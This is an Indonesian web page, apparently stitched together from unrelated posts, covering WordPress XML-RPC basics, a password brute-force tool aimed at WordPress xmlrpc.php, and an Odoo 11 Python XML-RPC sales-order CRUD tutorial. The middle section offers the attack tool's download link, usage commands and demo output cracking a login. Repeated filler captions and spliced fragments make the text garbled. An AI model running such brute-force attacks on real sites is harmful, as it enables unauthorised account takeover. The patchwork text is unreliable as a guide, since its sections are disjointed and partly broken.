Cara menggunakan xmlrpc python example

Sudah tau WordPress XML-RPC? Ngoprek ini seru banget. Seru, kalo sudah tau tentunya. Benda ini sudah ada lama sejak versi 3.5. Kalo yang belum tau apa itu, adalah Remote Procedure Call semacam rutin fungsi yang dapat dipanggil oleh aplikasi lain melalui protokol HTTP. Dengan kata lain misalnya buat mobile app untuk mengakses data di web tersebut, atau juga memungkinkan buat web aplikasi lain untuk memposting data ke web tersebut. Ini akan sangat berguna kalau Anda mau menghubungkan/interkoneksi data di website dengan sistem lain di luar WordPress.

Karena ini WordPress, tentunya ini juga bisa di-extends. Memungkinkan untuk perubahan-perubahan yang kita inginkan.

WordPress XML-RPC ini sudah di-enabled secara default. Tinggal akses ke http://url-wordpress/xmlrpc.php. Itu alamat url APInya.

Untuk coba-coba menggunakan command line prompt bisa sebagai berikut. Perhatikan saya coba di sini dengan menggunakan server localhost.

Perhatian: Apabila kamu dapat respon error, misalnya 401 Unauthorized, kemungkinan proteksi dari server hosting kamu.

Hari ini kebetulan saya harus bermain-main dengan XML RPC di WordPress karena mau bikin fitur auto-post dari aplikasi yang dibikin dengan NodeJS. Untuk mengakses xmlrpc.php di WordPress, awalnya saya menggunakan curl. Ternyata… Lihat ini deh kak. 😥

Cara menggunakan xmlrpc python example

Seperti yang terlihat pada screenshot, menggunakan XML di command line itu gak enak dan bisa bikin pusing. Padahal itu masih XML yang sederhana. Gimana kalau udah banyak? :O

Walaupun di command line kita bisa menggunakan “new line”, tapi tetap aja pusing. -_-

Postman to the rescue

Setelah melihat sekilas pola dengan menggunakan curl, saya langsung buka Postman. Tinggal set header dengan Content-type: text/xml, lalu pada body ganti menjadi “raw”. Dan, tadaaa… enak enak :3

XMLRPC Brutforce Tools yang menargetkan WordPress yang ditulis dengan Python 3. Dalam konteks xmlrpc brute forcing, tools ini lebih cepat daripada Hydra dan WpScan. Bahkan up to 1000 kata sandi per detik.

Cara menggunakan xmlrpc python example

Ok kali ini saya akan membahas mengenai web security kembali yang berfokus ke salah satu CMS paling populer saat ini yaitu WordPress.

Salah satu metode penyerangan yang sangat populer pada CMS yang sangat populer ini salah staunya adalah Bruteforce Attack.
Bruteforce sendiri adalah metode untuk meretas password (password cracking) dengan cara mencoba semua kemungkinan kombinasi yang ada pada “wordlist“. Metode ini tidak dijamin akan berhasil menemukan password yang ingin diretas.

Yuk langsung ke tutorial :

Download scriptnya disini : https://github.com/kavishgr/xmlrpc-bruteforcer

Cara menggunakanya :

python3 xmlrcpbruteforce.py http://wordpress.org/xmlrpc.php passwords.txt username
python3 xmlrpcbruteforce.py http://wordpress.org/xmlrpc.php passwords.txt userlist.txt

Kalau muncul pesan seperti ini “xml.etree.ElementTree.ParseError:” hapus www atau https.

Demo :

tegal1337 $ kavish$ python3 xmlrpcbruteforce.py http://192.168.100.34/xmlrpc.php 10k-most-common.txt elliot

---------------Examining Target--------------------

[>] Target is vulnerable.

--=[Target: http://192.168.100.34/xmlrpc.php]=--

[...Bruteforcing...]--=[Tried: 1000 passwords]=--
--=[Tried: 2000 passwords]=--
--=[Tried: 3000 passwords]=--
--------------- BRUTEFORCE SUCCESSFULL ---------------
--=[User found]=--
Login: elliot
Password: ER28-0652
--=[Exiting...]=--

Pada kesempatan ini saya akan sedikit berbagi mengenai penerapan web service API Odoo 11 (OpenERP) menggunakan Python. Python yang akan saya gunakan pada tutorial kali ini menggunakan Python 3. Banyak fitur dan data pada Odoo yang dapat diakses dari eksternal sistem Odoo. Hal ini dimungkinkan untuk memudahkan pengembang (developer) untuk melakukan pengintegrasian Odoo dengan beragam sistem yang ada. Bagian dari model refrensi API  pada Odoo mudah didapatkan dengan menggunakan fungsi XML-RPC dan dapat diakses menggunakan beragam bahasa. Adapun berama bahasa yang dapat digunakan diantaranya : Python, Ruby, PHP, dan Java.

Sebagai awalan, yang perlu kita persiapkan adalah Odoo 11 dan environment python 3  yang telah terinstall di PC/Laptop kita. Kemudian pastikan bahwa Modul Sales Management telah terinstall dengan baik pada Odoo kita.

Cara menggunakan xmlrpc python example

Tujuan : Kustomisasi Sales Order pada Odoo 11

  1. Melakukan Logging in pada Server Odoo 11
  2. Melakukan Fungsi Read Sales Order
  3. Melakukan Fungsi Create Sales Order
  4. Melakukan Fungsi Update Sales Order
  5. Melakukan Fungsi Delete Sales Order

A. Loggin in

Pada tahap ini, kita akan perlu untuk melakukan set up untuk keperluan authentifikasi identitas kita untuk masuk kedalam sistem Odoo. Untuk diketahui, dalam Odoo,  Sales Order (SO) merupakan 1 dari 329 total table yang ada.

Langkah 1 – Insiasi

Masuklah kedalam directory Odoo, kemudian jalankan environment Python. Alternatif masuk kedalam environment python bisa juga mengunakan CMD bawaan python secara langsung atau masuk ke directory python dalam file Odoo 11 “C:\Program Files (x86)\Odoo 11.0\python” pada CMD kemudia jalankan “python” kemudian enter.

url = "http://localhost:8069"
db = "XXXXXXXX"
username = "YYYYYYYYY"
password = "ZZZZZZZZZ"

Cara menggunakan xmlrpc python example

Langkah 2 – Import XMLRPC & Autentifikasi
#Using python 3.6
import xmlrpc.client
from xmlrpc.server import SimpleXMLRPCServer
common = xmlrpc.client.ServerProxy('{}/xmlrpc/2/common'.format(url))
uid = common.authenticate(db, username, password, {})

Cara menggunakan xmlrpc python example

Pada banyak contoh yang ada, selalu menggunakan “import xmlrpclib”. Namun module “xmlrpclib” hanya dimiliki oleh python 2, sedangkan untuk python 3 perlu mendapatkan penyesuaian. Lakukan “import xmlrpc.client” dan “from xmlrpc.server import SimpleXMLRPCServer” seperti contoh diatas 

Setelah import, kemudian lakukan aktifasi server dengan menjalankan url “; dan dilanjutkan dengan authentifikasi pada sistem odoo untuk Logging in. Ketika “uid” untuk memastikan apakah bernilai satu (1). satu menunjukan bahwa kita telah berhasil masuk kedalam sistem.

B. Create Sales Order

Cara menggunakan xmlrpc python example
 Di atas merupakan tampilan Sales Order yang saya miliki. Terdapat 9 Sales Order.

Langkah 3 –  cek jumlah Sales Order awal

#Count Records
count = models.execute_kw(db, uid, password,
'sale.order','search_count',
[[]])

Cara menggunakan xmlrpc python example

untuk mengecek jumlah sales order yang kita miliki, kita dapat menggunakan fungsi search_count.

Langkah 4 – Create Sales Order

#Create_SO
id_baru = models.execute_kw(db, uid, password, 'sale.order', 'create', [ {'partner_id': 10, 'pricelist_id':1}])

Cara menggunakan xmlrpc python example

pada bagian ini, saya menginisiasi sebuah SO baru dengan fungsi “create” dengan inputan partner_id = 10 (“partner_id” merupakan id identitas dari customer yang membeli produk kita) sedangkan “pricelist_id” merupakan id identitas untuk jenis mata uang yang digunakan 1, menunjukan USD. Seperti pada gambar kita telah berhasil membuat id baru dengan id “10” dengan nama SO010.

Cara menggunakan xmlrpc python example

Cara menggunakan xmlrpc python example

Lakukan lagi pengecekan jumlah SO, maka jumlah SO bisa dipastikan akan bertambah.

C. Read Sales Order

#Baca SO id 1
id = 1
baca_order = models.execute_kw(db, uid, password,
'sale.order', 'read',
[id], {})

Cara menggunakan xmlrpc python example

Untuk membaca Sales Order (SO) kita bisa menggunakan fungsi “Read”. Pada contoh di atas saya melakukan pembacaan SO dengan “id = 1″.

D. Update Sales Order

Cara menggunakan xmlrpc python example

Pada tutorial ini kita akan melakukan perubahan data pada SO010 bagian state : draft menjadi state : sale.
#Update ID = 10
id = 10
update = models.execute_kw(db, uid, password, 'sale.order', 'write', [[id],
{
'state':'sale', 'invoice_status':'invoiced'
}])

Cara menggunakan xmlrpc python example

Untuk melakukan perubahan data pada SO kita dapat menggunakan fungsi “write”, seperti contoh diatas. Kemudia cek menggunaka fungsi “read” untuk mengecek perubahan yang terjadi.

Cara menggunakan xmlrpc python example

E. Delete Sales Order

Untuk mengawali fungsi ini, kita perlu mengetahui list id Sales Order yang kita miliki. Kita memiliki list id SO [10,9,8,7,6,5,4,3,2,1]. Kemudian dalam case ini kita akan menghapus SO ber id “6”

Cara menggunakan xmlrpc python example

 #delete id = 6
id = 6
models.execute_kw(db, uid, password, 'sale.order', 'unlink', [[id]])

Kita melakukan fungsi hapus dengan metode “unlink”. Jika berhasil, maka kita akan mendapatkan balikan “TRUE” seperti contoh di atas.

Untuk memastikan bahwa id 6 telah berhasil di hapus, lakukan pengecekan dengan memanggil daftar SO.

Cara menggunakan xmlrpc python example

Id 6 telah hilang dari list id Sales Order yang kita miliki.

Sekian tutorial penerapan Web Service Python 3 untuk penerapan kustemisasi (CREATE, READ, UPDATE dan DELETE) pada Sales Order Odoo 11. Semoga bermanfaat.